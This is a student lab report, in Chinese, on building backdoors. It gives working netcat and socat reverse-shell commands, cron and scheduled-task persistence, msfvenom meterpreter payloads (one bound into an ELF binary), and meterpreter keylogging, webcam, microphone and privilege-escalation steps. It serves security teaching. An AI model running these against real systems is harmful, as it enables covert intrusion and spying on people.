2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp2 后门原理与实践
一、实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验准备
1. 常用后门工具了解及测试
-
ncat
- ncat 是一个底层工具,进行基本的 TCP UDP 数据收发。常被与其他工具结合使用,起到后门的作用
-
测试前准备
-
通过命令查看windows主机及kail机的ip(需要root权限)
- windows(ipconfig):196.168.0.104
- kail(ifconfig):196.168.11.128
-
通过ping命令,查看二者是否可以ping通
-
- 在老师提供的附件中下载 ncat.rar ------链接
-
Windows获取kali的shell
- 在 Windows 中,输入命令 ncat.exe -l -p 5218 ,用 ncat 打开一个监听端口,端口号 5218
- 在 kail 中,输入 nc 192.168.0.104 5218 -e /bin/sh ,即使用 nc 命令 -e 选项执行 shell,反向连接至主机对应端口
- 在 Wndows 中,通过命令 ls 或其他,验证运行 kail 的 shell ,可知 Windows 成功获得了 kali 的 shell
-
kali获得Windows的shell
- 在 kail 下,输入命令 nc -l -p 5218 设置端口
- 在 Windows 下,输入 ncat.exe -e cmd.exe 192.168.11.128 5218 设置反向链接
- 在 kail 中,输入 Windows 命令行的命令例如 dir 进行验证,可知 kali 成功获得了 Windows 的 shell
-
通过 nc 在两者间传输数据
-
传输文字
- 在 Windows 中输入 ncat.exe -l 5218 建立监听端口 5218
- 在 kail 下输入 nc 192.168.0.104 5218 建立连接至 Windows 端口,建立成功后可进行文字传输
-
-
传输文件
- 在 Windows 下输入 ncat.exe -l 5218 > file.in 建立端口同时定义接收地址
- 在 kail 下,创建测试文件file.out,可以通过 vim 进行编辑
- 输入 nc 192.168.0.104 5218 < file.out ,连接至 Windows 进行文件输送
- 可见文件成功传到主机中,通过记事本的形式打开可查看到在 kali 中编辑的内容
-
socat
- socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。它的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等
-
Meterperter
- 后门就是一个程序
- 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的几大部分全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件,具体为以下几部分:
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
- 更多有关 meterpreter 的相关指令和内容可以参考老师的课件------链接
三、实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
- 同上面的准备阶段,在 Windows 中输入 ncat.exe -l -p 5218 设立监听端口
- 在 kali 中通过 man cron 可以了解到 cron 的相关知识,但是由于没有下载中文翻译的 man 版本,所以是英文
- 可以通过百度看到中文解释:crontab指令可以用于设置周期性被执行的指令,该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行
- 利用 crontab -e 指令编写一条定时任务,以定时可反弹至 Windows 端口,进入后编辑器可以看见选项,选择3即为vim编辑器
- 使用 i 进入插入模式,在最下面增加一条令:40 * * * * /bin/netcat 192.168.0.104 5218 -e /bin/sh ,其中,40为每个小时的第40分钟时执行后方命令(因为我实验时是30多接近40,所以我设定为40)
- 使用 crontab -l 可查看编辑情况
- 还没到设定的时间(40),是无法执行获取kail shell的
- 到时间(40)后,便可以执行
任务二:使用socat获取主机操作Shell, 任务计划启动
- 在 Windows 系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,双击进入
- 点击操作->创建任务,在触发器中,新建触发器。在开始工作的下拉多选框中,选择工作站锁定时
- 在操作处,新建操作。在程序或脚本中,预览,选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5218 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把 cmd.exe 绑定到端口 5218,同时把 cmd.exe 的 stderr 重定向到 stdout 上
- 在常规处,填写名称 20175218,然后确定,完成创建,并通过 按 win+L 键锁定计算机让任务开始执行
- 在 Kali 下输入指令 socat - tcp:192.168.0.104:5218 这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 5218 端口,此时可以发现已经成功获得了一个 cmd shell ,输入 dir 可见命令可以执行获取数据
- 当然,如果想要定时来完成的华,可以如同在做任务二时新建触发器,这样就可以定时完成了,命令和上面一样
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在 kali 中输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor.exe
因为在控制端生成后门,所以这里的 ip 地址为 kail 的 ip 地址
-
在 Windows 下执行命令 ncat.exe -l 5218 > 201725218_backdoor.exe
-
在 kali 中通过命令 nc 192.168.0.104 5218 < 20175218_backdoor.exe 将生成的后门程序传送到主机中,在文件夹中可见
- 回到控制端,即 kali 中,通过命令 msfconsole 进入控制台
- 依次输入以下命令,调用监听模块,设置与生成后门时相同的 payload,同时设置返回的 ip 和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
- 设置完成,输入 exploit 执行监听
- 回到主机点击打开传输过去的后门程序(关闭所有杀毒软件和防火墙),运行后,可以观察到 kail 取得链接,并且在 kali 中可以远程控制主机shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 继续在任务三的基础上进行,在 kali 中使用命令 record_mic 截获一段音频,如果想要指定时间就加上 -d + 时间(时间不能过长,否则报错)
- 使用 webcam_snap 指令或者 webcam stream 指令可以使用摄像头进行拍照或者摄影
- 使用 screenshot 指令进行截屏
- 使用 keyscan_start 指令开始,可以记录下在 Windows 中点击了什么按键,使用 keyscan_dump 指令读取击键的记录
- 使用 getuid 指令查看当前用户,使用 getsystem 指令进行提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
实验指导书中的指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
,显然这条指令是需要修改的 -
在查看很多人的资料,并且咨询组长后,将其跟改为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -x 20175218pwn1 -f elf > overdoor_2_5
-
在 kali 中,进入实验一所用文件的文件夹下,打开终端(终端2),输入上面的命令生成后门程序 overdoor_2_5
-
在终端1,按照任务三一样启动 msfconsole,需要注意的是将 playload 改为 linux/x86/meterpreter/reverse_tcp
-
在终端2,执行后门程序 overdoor_2_5(需要加权限)
- 可见可获取到 shell
四、实践思考
问题一:例举你能想到的一个后门进入到你系统中的可能方式?
答:我觉得这个是非常不经意的,可能就在下载一个软件时,后门就捆绑着这个软件一同下载下来了。并且下载下来,都还不能发现。
问题二:例举你知道的后门如何启动起来(win及linux)的方式?
答:在 win 中,按照一般病毒那些的思路,它会与一些自启动项绑定启动,修改注册表,开机启动之类;在 linux 中可以通过 crontab 启动,就像这一次实验一样。
问题三:Meterpreter有哪些给你映像深刻的功能?
答:主要是这次实验中给我带来的印象很深,例如拍照,截屏,获取音频以及记录键入,其中印象最深的就是拍照,刚刚输完命令执行,结果就给我拍了。
问题四:如何发现自己有系统有没有被安装后门?
答:我觉得如果电脑的杀毒软件和防火墙打开的话,一般是可以发现的。就像我在做实验时,没有关联想电脑自带的那个杀毒软件,刚刚一运行后门程序,结果就被杀死了。
五、实验中遇到的问题及解决方法
问题一:msfconsole 启动失败
解决方法:由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行如下命令:gem install bundler:1.17.3
问题二:record_mic -d + 时间 报错
解决方法:时间不能过长,过长则报错
问题三:任务五后门程序 overdoor_2_5 执行报错
解决方法:需要用 chmod +x +文件 给 overdoor_2_5 修改权限
问题四:主机运行后门程序,报错后消失
解决方法:可能被杀毒软件杀死,需要关闭杀毒软件再运行
六、实验收获与感想
这次实验,总的来说不是很困难,比起实验一稍微好做一些,而且做实验的过程还非常愉快。稍微有点坑的就是之前电脑换了一个系统,很多东西都是新的。比如各种自带的杀毒软件,之前的系统是没有的,现在突然加入,导致做实验时,莫名其妙就崩了,找了好久,结果发现还有一个没有关闭。但是通过这次实验也学到了很多东西,知道了不保护好自己电脑的后果,知道了被植入后门的危害,当然,学到了这些知识就可以有一些防护的能力,希望以后更加努力,学到更多知识。